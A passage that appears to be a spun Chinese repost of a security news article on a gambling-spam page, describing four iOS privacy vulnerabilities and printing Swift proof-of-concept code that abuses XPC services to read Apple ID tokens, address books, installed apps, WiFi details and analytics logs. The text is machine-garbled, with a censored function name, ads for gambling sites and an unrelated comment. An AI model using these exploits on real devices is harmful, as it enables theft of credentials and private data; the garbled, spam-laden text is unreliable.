欢迎进入Allbet Gaming官网。Allbet Gaming官网开放Allbet Gaming登录网址、Allbet Gaming开户、Allbet Gaming代理开户、Allbet Gaming电脑客户端、Allbet Gaming手机版下载等业务。

首页科技正文

研究职员发现3个iOS 0 day破绽PoC代码

admin2021-11-1330资讯

2022世界杯比分www.x2w99.com)实时更新发布最新最快最有效的2022世界杯比分资讯。

研究职员发现3个iOS 0 day破绽PoC代码。


GitHub用户illusionofchaos在GitHub上宣布了4个iOS 平安破绽的PoC代码,其中包罗3个0 day破绽和1个已修复的平安破绽。这4个破绽划分是:

· Gamed 0-day

· Nehelper Enumerate Installed Apps 0-day

· Nehelper Wifi Info 0-day

· Analyticsd (iOS 14.7中已修复)

Gamed 0-day

从APP store中按住谁人的应用可以在用户不知情的情形下接见以下信息:

· Apple ID邮箱和Apple ID账户的全名;

· Apple ID认证token,允许以用户名义接见*.apple.com上的至少1个终端;

· Core Duet数据库的完全文件系统读权限,其中包罗邮箱、SMS、iMessage和第3方新闻APP的联系人,以及与这些联系人举行用户交互的元数据;

· 快速拨号数据库和地址簿数据库的完全文件系统读权限,包罗联系人图片和其他元数据;

PoC代码如下:

新2会员网址www.22223388.com)实时更新发布最新最快最有效的新2网址和新2最新网址,包括新2手机网址,新2备用网址,皇冠最新网址,新2足球网址,新2网址大全。

let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
    accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
        let appleID = response.credential.accountName
        let token = response.credential.authenticationToken
    }
    utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
        let addressBookData = data
    }
}

Nehelper Enumerate Installed Apps 0-day

该破绽允许任何用户安装的APP来确定装备上安装的APP是否是给定的bundle ID。XPC终端com.apple.nehelper 有一个接见APP的方式可以接受bundle ID作为参数,并返回含有缓存UUID的数组,缓存的UUID可以用来与装备上安装的应用的bundle ID举行配对。详细参见/usr/libexec/nehelper的[NEHelperCacheManager onQueueHandleMessage:] :

func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}

Nehelper Wifi Info 0-day

XPC终端com.apple.nehelper会吸收用户提供的参数sdk-version,若是该值小于后即是524288,com.apple.developer.networking.wifi-info entiltlement就会跳过。这使得任何相符条件的APP都可以在无需entiltlement的情形下获取WiFi信息。

func wifi_info() -> String? {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
        return nil
    }
}

Analyticsd (iOS 14.7中已修复)

该破绽允许随便用户安装的APP接见剖析日志。这些日志中含有以下信息:

· 医疗信息,包罗心跳、异常心律事宜等;

· 装备使用信息,包罗推送通知数和用户的行为等;

· 屏幕时间信息和给定bundle ID的所有有用的会话数;

· Safari中用户查看的web页面的语言;

· 装备配件的信息,包罗厂商、型号、固件版本和用户分配的名字;

func  *** ytics_json() -> String? {
let connection = xpc_connection_create_mach_service("com.apple. *** yticsd", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_string(xdict, "command", "log-dump");
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict);
    return xpc_dictionary_get_string(reply, "log-dump");
}

 更多参见:https://habr.com/ru/post/579714/


环球UGwww.ugbet.us)开放环球UG代理登录网址、会员登录网址、环球UG会员注册、环球UG代理开户申请、环球UG电脑客户端、环球UG手机版下载等业务。

网友评论

1条评论
  • 2021-11-13 00:03:09

    以是我在《刘擎西方现代头脑课本》的第一章,专门讲了头脑有什么意义。第一是要让人人知道,你的存在是看法性的存在,是看法介入建构的存在。看法不是无关紧要,它是组成性要素。第二,若是这个现实是跟看法有关系的,那么差其余看法就会有差其余现实,你我有差其余看法,我们就会有差其余现实感。我觉得挺好看的

最新评论